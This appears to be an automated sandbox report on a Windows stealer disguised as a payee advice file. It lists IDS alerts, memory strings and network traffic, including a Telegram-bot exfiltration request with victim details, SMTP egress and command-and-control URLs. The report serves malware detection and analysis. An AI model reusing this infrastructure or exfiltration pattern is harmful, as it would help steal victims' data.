Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:473627%0D%0ADate%20and%20Time:%2017/11/2024%20/%2001:14:08%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20473627%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:51066 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:51069 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:51076 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:51074 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:51068 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:51082 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:51072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:51078 -> 188.114.97.3:443

Source: global traffic

TCP traffic: 192.168.2.5:51084 -> 37.27.123.72:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:51067 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:473627%0D%0ADate%20and%20Time:%2017/11/2024%20/%2001:14:08%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20473627%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.onedrive.com
Source: global traffic	DNS traffic detected: DNS query: fa3hwa.dm.files.1drv.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.foodex.com.pk

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 16 Nov 2024 15:51:29 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037605000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3352963551.0000000039D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/0
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foodex.com.pk
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037605000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.foodex.com.pk
Source: PayeeAdvice_HK54912_R0038704_37504.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328960805.00000000089E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.oned
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.onedrive.com/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.onedrive.com/v1.0/shares/s
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:473627%0D%0ADate%20a
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003764A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003763A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enWeb
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F99000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783144437.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2797676860.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783046750.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa3hwa.dm.files.1drv.com/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F99000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2797676860.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa3hwa.dm.files.1drv.com/WE
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783144437.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2797676860.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783046750.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa3hwa.dm.files.1drv.com/ve
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2783046750.0000000006FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa3hwa.dm.files.1drv.com/y4mEprthCF5mq6ohjyODH5IqEX9-zxOXMFMn1SBjkig9TMJ0iW6hgdn3JyiMZPOzrO4
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000003.2797676860.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa3hwa.dm.files.1drv.com/y4m_-tS-_uEp2WLW1w2OoZgzsGzku4HExGuSK8wL1Z32RLgaY3iv2hMYfC9YHYGwFGE
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.00000000374DA000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.00000000374DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.69
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003756F000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037504000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.69$
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3350762271.00000000384B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.000000003767B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3349133220.0000000037676000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 51082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51082
Source: unknown	Network traffic detected: HTTP traffic on port 51072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51080
Source: unknown	Network traffic detected: HTTP traffic on port 51067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51074
Source: unknown	Network traffic detected: HTTP traffic on port 51074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51083
Source: unknown	Network traffic detected: HTTP traffic on port 51076 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:51083 version: TLS 1.2

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_004052D3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052D3

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_0040335A
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		4_2_0040335A

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_00404B10	0_2_00404B10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0040653F	0_2_0040653F
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00404B10	4_2_00404B10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0040653F	4_2_0040653F
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016C147	4_2_0016C147
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016D278	4_2_0016D278
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00165362	4_2_00165362
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016C468	4_2_0016C468
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016C738	4_2_0016C738
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016E988	4_2_0016E988
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016CA08	4_2_0016CA08
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016CCD8	4_2_0016CCD8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00169DE0	4_2_00169DE0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016CFAA	4_2_0016CFAA
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00166FC8	4_2_00166FC8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016F974	4_2_0016F974
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0016E97A	4_2_0016E97A
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_001629E0	4_2_001629E0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00163E09	4_2_00163E09
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF2968	4_2_39EF2968
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFFC68	4_2_39EFFC68
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF5028	4_2_39EF5028
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF17A0	4_2_39EF17A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF9328	4_2_39EF9328
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF1E80	4_2_39EF1E80
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFE258	4_2_39EFE258
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFDE00	4_2_39EFDE00
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFDDF1	4_2_39EFDDF1
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFD9A8	4_2_39EFD9A8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFD999	4_2_39EFD999
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF9548	4_2_39EF9548
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFD540	4_2_39EFD540
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF295A	4_2_39EF295A
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFD550	4_2_39EFD550
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFD0E9	4_2_39EFD0E9
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFD0F8	4_2_39EFD0F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFCCA0	4_2_39EFCCA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFCC8F	4_2_39EFCC8F
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF0040	4_2_39EF0040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF0006	4_2_39EF0006
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFF801	4_2_39EFF801
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF9C18	4_2_39EF9C18
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF5018	4_2_39EF5018
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFF810	4_2_39EFF810
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFF3A8	4_2_39EFF3A8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF8BA0	4_2_39EF8BA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EFF3B8	4_2_39EFF3B8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_39EF178F	4_2_39EF178F
